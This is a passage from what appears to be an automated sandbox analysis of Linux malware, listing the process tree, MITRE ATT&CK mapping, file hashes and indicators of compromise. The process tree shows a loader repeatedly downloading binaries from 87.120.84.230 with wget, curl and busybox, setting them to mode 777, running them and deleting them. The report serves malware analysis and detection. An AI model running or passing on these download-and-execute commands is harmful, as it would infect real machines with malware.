  - File and Directory Permissions Modification
  PID:960
- /tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  ./Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:965
- /bin/chmod
  chmod 777 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  ./8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:971
- /bin/chmod
  chmod 777 alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  ./alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:977
- /bin/chmod
  chmod 777 iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  ./iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc

Path /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	739	xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	745	ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	755	YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	785	x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	808	qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	814	200cUyejdGjWDM9heC9D1Qq26iolWznBRb
/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	840	Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	856	8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	862	alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	868	iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	874	O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	883	Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	889	hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	895	3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	901	O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	907	Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	913	hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	919	3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	925	xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	931	ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	937	YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	943	x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	949	qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	955	200cUyejdGjWDM9heC9D1Qq26iolWznBRb
/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	961	Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	967	8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	973	alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	979	iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz